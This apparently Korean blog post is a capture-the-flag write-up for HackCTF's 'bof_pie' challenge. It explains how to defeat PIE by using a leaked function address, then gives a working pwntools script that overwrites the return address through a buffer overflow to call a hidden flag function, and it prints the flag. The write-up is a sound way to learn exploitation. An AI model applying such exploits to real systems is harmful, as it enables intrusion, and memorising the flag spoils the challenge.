NX : Shellcode 실행 X
PIE : 메모리 주소 랜덤화
→BOF로 문제를 풀어보자.
메인함수는 되게 간단하다. welcome()도 IDA로 까보겠다.
welcome함수의 위치를 출력하고 v1에 입력을 받는모습.
retrun에 있는 scanf에서 BOF가 일어난다.
IDA로 어떤 함수가 있는지 보던 중 j0n9hyun이라는 함수를 발견했다.
이 함수가 FLAG를 출력하는 함수인 것 같다.
이번 문제에는 PIE가 걸려있지만 앞서 welcome()에서 welcome()함수의 위치를 알려준다.
즉, 함수들 간의 offset을 구해서 j0n9hyun()의 위치를 파악하고, BOF로 ret에 j0n9hyun()의 주소를 덮어주면 될 것 같다.
offset은 gdb를 통해서 간단하게 구할 수 있다.
exploit을 짜보자.
from pwn import *
p = process('./bof_pie')
# p = remote("ctf.j0n9hyun.xyz", 3008)
welcome_offset = 0x909
j0n9hyun_offset = 0x890
p.recvuntil("j0n9hyun is ")
welcome = p.recvline()[:-1]
welcome = int(welcome,16)
function_base = welcome - welcome_offset
j0n9hyun = function_base + j0n9hyun_offset
payload = ''
payload += 'A'*18
payload += 'B'*4
payload += p32(j0n9hyun)
p.sendline(payload)
p.interactive()
정상적으로 j0n9hyun()이 실행된다.
FLAG : HackCTF{243699563792879976364976468837}
반응형
'WriteUp > HackCTF' 카테고리의 다른 글
[HackCTF] Yes_or_No (0) | 2021.08.21 |
---|---|
[HackCTF] Offset (0) | 2021.08.10 |
[HackCTF] Simple Overflow Ver 2 (0) | 2021.08.08 |
[HackCTF] x64 simple_size_BOF (0) | 2021.08.08 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.08.08 |